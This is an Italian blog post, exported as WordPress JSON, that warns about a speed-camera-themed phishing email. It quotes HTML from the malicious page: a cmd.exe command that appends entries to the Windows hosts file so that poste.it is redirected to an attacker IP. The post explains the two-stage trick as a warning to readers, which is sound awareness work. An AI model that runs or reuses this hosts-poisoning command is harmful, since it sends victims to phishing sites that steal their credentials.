{"id":7743,"date":"2010-03-05T11:44:12","date_gmt":"2010-03-05T11:44:12","guid":{"rendered":"http:\/\/xmau.com\/wp\/notiziole\/2010\/03\/05\/sfruttare_la_pa\/"},"modified":"2010-03-05T11:44:12","modified_gmt":"2010-03-05T11:44:12","slug":"sfruttare_la_pa","status":"publish","type":"post","link":"https:\/\/xmau.com\/notiziole\/2010\/03\/05\/sfruttare_la_pa\/","title":{"rendered":"sfruttare la paura dell’autovelox"},"content":{"rendered":"

Mario<\/a> mi invia un messaggio di phishing proprio “simpatico” che gli \u00e8 arrivato (e che gmail fortunatamente mette nello spam).
\nIl messaggio ha come titolo Autovelox e Tutor: dove sono?<\/em>, il sedicente mittente \u00e8 info@auto.it, la provenienza sembra essere dall’IP 192.168.74.6, e racconta di come la polstrada abbia messo un sito dove sono indicate le postazioni degli autovelox (vero). Cosa succede per\u00f2 se si apre il link, che – come forse avete immaginato – NON \u00e8 al sito della Polizia Stradale?
\nIl codice HTML di quella pagina contiene tra l’altro queste righe:
\n<param name='first' value='cmd.exe \/c echo 210.86.2.150 poste.it >>
\n%windir%\\System32\\drivers\\etc\\hosts & echo 210.86.2.150 www.poste.it
\n>> %windir%\\System32\\drivers\\etc\\hosts' ><\/tt>
\nDetto in termini meno criptici: se uno ha un PC con Windows, gira con i privilegi di amministratore, e ha un browser non troppo sveglio (Insomma Etilista) allora la pagina web fa in modo che la prossima volta che il malcapitato vuole andare nel sito www.poste.it sar\u00e0 automaticamente rediretto al sito 210.86.2.150, che a sua volta (in questo momento, ma il bello della cosa \u00e8 che possono cambiarlo quando vogliono!) punta a ftp:\/\/213.123.204.189\/bpol\/cartepre\/index.html; che cosa faccia questo sito, ve lo lascio immaginare.
\nCome avrete intuito, la cosa pericolosa \u00e8 che il phishing vero e proprio arriva in un secondo momento, e quindi l’ignaro utente non si accorge di nulla. Sapev\u00e0telo!<\/p>\n","protected":false},"excerpt":{"rendered":"

un phishing in due tempi.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"activitypub_content_warning":"","activitypub_content_visibility":"","activitypub_max_image_attachments":3,"activitypub_interaction_policy_quote":"anyone","activitypub_status":"","footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[319],"tags":[],"class_list":["post-7743","post","type-post","status-publish","format-standard","hentry","category-spam_phishing"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/phh2yV-20T","jetpack-related-posts":[{"id":2514,"url":"https:\/\/xmau.com\/notiziole\/2003\/09\/19\/autovelox\/","url_meta":{"origin":7743,"position":0},"title":"autovelox","author":".mau.","date":"2003-09-19","format":false,"excerpt":"E' possibile che ieri sera abbia preso una multa per eccesso di velocit\u00e0, mentre arrivavo in aeroporto a Fiumicino. Perlomeno c'erano due macchine dei vigili romani con autovelox incorporato, c'era un limite di velocit\u00e0 di 50 all'ora e stavo andando a una velocit\u00e0 non so quanto inferiore ai 70: il\u2026","rel":"","context":"In "io-2003"","block_context":{"text":"io-2003","link":"https:\/\/xmau.com\/notiziole\/category\/io\/io-2003\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":13799,"url":"https:\/\/xmau.com\/notiziole\/2016\/10\/03\/autovelox-bastardi\/","url_meta":{"origin":7743,"position":1},"title":"Autovelox bastardi","author":".mau.","date":"2016-10-03","format":false,"excerpt":"non dite che sono fatti \"per la sicurezza\"","rel":"","context":"In "pipponi"","block_context":{"text":"pipponi","link":"https:\/\/xmau.com\/notiziole\/category\/pipponi\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":15950,"url":"https:\/\/xmau.com\/notiziole\/2017\/12\/13\/lastuto-coyote\/","url_meta":{"origin":7743,"position":2},"title":"l’astuto Coyote","author":".mau.","date":"2017-12-13","format":false,"excerpt":"Non so, ma quelle frasi nel loro sito mi sanno di excusatio non petita","rel":"","context":"In "pipponi"","block_context":{"text":"pipponi","link":"https:\/\/xmau.com\/notiziole\/category\/pipponi\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2305,"url":"https:\/\/xmau.com\/notiziole\/2003\/05\/12\/cavalcavia\/","url_meta":{"origin":7743,"position":3},"title":"cavalcavia","author":".mau.","date":"2003-05-12","format":false,"excerpt":"Sabato ho scoperto che il cavalcavia Serra-Monteceneri, quello insomma dove hanno messo le telecamere autovelox, dal primo maggio ha un limite di velocit\u00e0 di 70 Km\/h, e non pi\u00f9 di 50 come prima. La cosa mi \u00e8 sembrata molto intelligente da un punto di vista pratico: prima tutti inchiodavano all'altezza\u2026","rel":"","context":"In "y2005_pipponi"","block_context":{"text":"y2005_pipponi","link":"https:\/\/xmau.com\/notiziole\/category\/y2005_pipponi\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":16952,"url":"https:\/\/xmau.com\/notiziole\/2018\/06\/20\/echo-ed-ego-chambers\/","url_meta":{"origin":7743,"position":4},"title":"Echo- ed ego-chambers","author":".mau.","date":"2018-06-20","format":false,"excerpt":"Non sono le bolle a scoppiare, \u00e8 la gente.","rel":"","context":"In "socialcosi e internet"","block_context":{"text":"socialcosi e internet","link":"https:\/\/xmau.com\/notiziole\/category\/socialcosi\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":10805,"url":"https:\/\/xmau.com\/notiziole\/2014\/12\/12\/spam-informativo\/","url_meta":{"origin":7743,"position":5},"title":"Spam “informativo”","author":".mau.","date":"2014-12-12","format":false,"excerpt":"come segnalare il nuovo sito di The Pirate Bay?","rel":"","context":"In "spam_phishing"","block_context":{"text":"spam_phishing","link":"https:\/\/xmau.com\/notiziole\/category\/spam_phishing\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/posts\/7743","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/comments?post=7743"}],"version-history":[{"count":0,"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/posts\/7743\/revisions"}],"wp:attachment":[{"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/media?parent=7743"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/categories?post=7743"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/xmau.com\/notiziole\/wp-json\/wp\/v2\/tags?post=7743"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}